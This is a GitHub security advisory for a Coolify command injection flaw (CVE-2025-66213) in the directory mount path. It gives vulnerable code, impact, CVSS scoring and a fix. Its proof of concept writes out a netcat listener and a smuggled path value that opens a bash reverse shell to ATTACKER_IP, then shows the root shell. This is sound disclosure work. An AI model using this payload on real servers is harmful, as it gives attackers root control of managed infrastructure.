Skip to content

Authenticated Remote Code Execution via Command Injection in File Storage Directory Mount Path

Critical
andrasbacsai published GHSA-cj2c-9jx8-j427 Jan 3, 2026

Package

coollabsio/coolify

Affected versions

<= 4.0.0-beta.450

Patched versions

>= 4.0.0-beta.451

Description

Summary

An authenticated command injection vulnerability in the File Storage Directory Mount functionality allows users with application/service management permissions to execute arbitrary commands as root on managed servers. The file_storage_directory_source parameter is passed directly to shell commands without sanitization, enabling full remote code execution on the host system.

Details

Vulnerable File: app/Models/LocalFileVolume.php

Vulnerable Code (multiple locations):

Line 64-66 (loadStorageOnServer function):

$path = data_get_str($this, 'fs_path');
// ...
$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
$content = instant_remote_process(["cat $path"], $server, false);

Lines 94-95 (deleteStorageOnServer function):

$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
$isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server);

Lines 138-141 (saveStorageOnServer function):

$isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server);
$isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server);
// ...
$commands->push("echo '$content' | base64 -d | tee $path > /dev/null");

The fs_path parameter originates from user input via app/Livewire/Project/Service/Storage.php lines 175-185:

public function submitFileStorageDirectory()
{
    $this->file_storage_directory_source = trim($this->file_storage_directory_source);
    $this->file_storage_directory_source = str($this->file_storage_directory_source)->start('/')->value();
    // ...
    \App\Models\LocalFileVolume::create([
        'fs_path' => $this->file_storage_directory_source,  // No sanitization!
        // ...
    ]);
}

The only validation is 'file_storage_directory_source' => 'required|string' (line 166), with no shell metacharacter filtering or use of escapeshellarg(). When the path is used in shell commands via instant_remote_process(), attackers can inject arbitrary commands using command substitution ($(...)).

Due to Coolify's sudo injection mechanism in bootstrap/helpers/sudo.php, all injected commands execute with root privileges regardless of SSH user configuration.

PoC

Prerequisites:

  • Coolify v4.0.0-beta.450 or earlier
  • Authenticated user with application/service management permissions
  • A deployed application or service

Steps to reproduce:

  1. Start a netcat listener on attacker machine:
nc -lvnp 8888
  1. Log into Coolify and navigate to any deployed application

  2. Go to Configuration → Persistent Storage tab

  3. Click "+ Add" and select "Directory Mount"

  4. Enter the following:

    • Source Directory: /tmp$(bash -i >& /dev/tcp/ATTACKER_IP/8888 0>&1)
    • Destination Directory: /app/data
  5. Click "Add"

  6. A root shell is received on the attacker's listener:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 43398
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
root@hostname:~#

Impact

Severity: Critical (CVSS 9.9)

Impact:

  • Remote Code Execution: Attackers can execute arbitrary commands on managed servers
  • Root Privilege: All commands execute as root due to Coolify's sudo injection mechanism
  • Full Server Compromise: Attackers gain complete control of managed infrastructure
  • Container Escape: Access to Docker socket enables control of all containers
  • Lateral Movement: Compromised servers can be used to attack other managed resources
  • Data Breach: Access to all applications, databases, and secrets managed by Coolify

Who is affected:

  • All Coolify self-hosted instances running v4.0.0-beta.450 or earlier
  • Any organization using Coolify to manage application deployments
  • All servers connected to a compromised Coolify instance

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command - OS Command Injection)

Recommended Fix:
Apply escapeshellarg() to the $path variable before use in shell commands:

$escapedPath = escapeshellarg($path);
$isFile = instant_remote_process(["test -f $escapedPath && echo OK || echo NOK"], $server);

Additionally, implement input validation to restrict directory paths to alphanumeric characters, dots, dashes, underscores, and forward slashes only, rejecting any shell metacharacters like $, (, ), ;, |, &, etc.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2025-66213

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits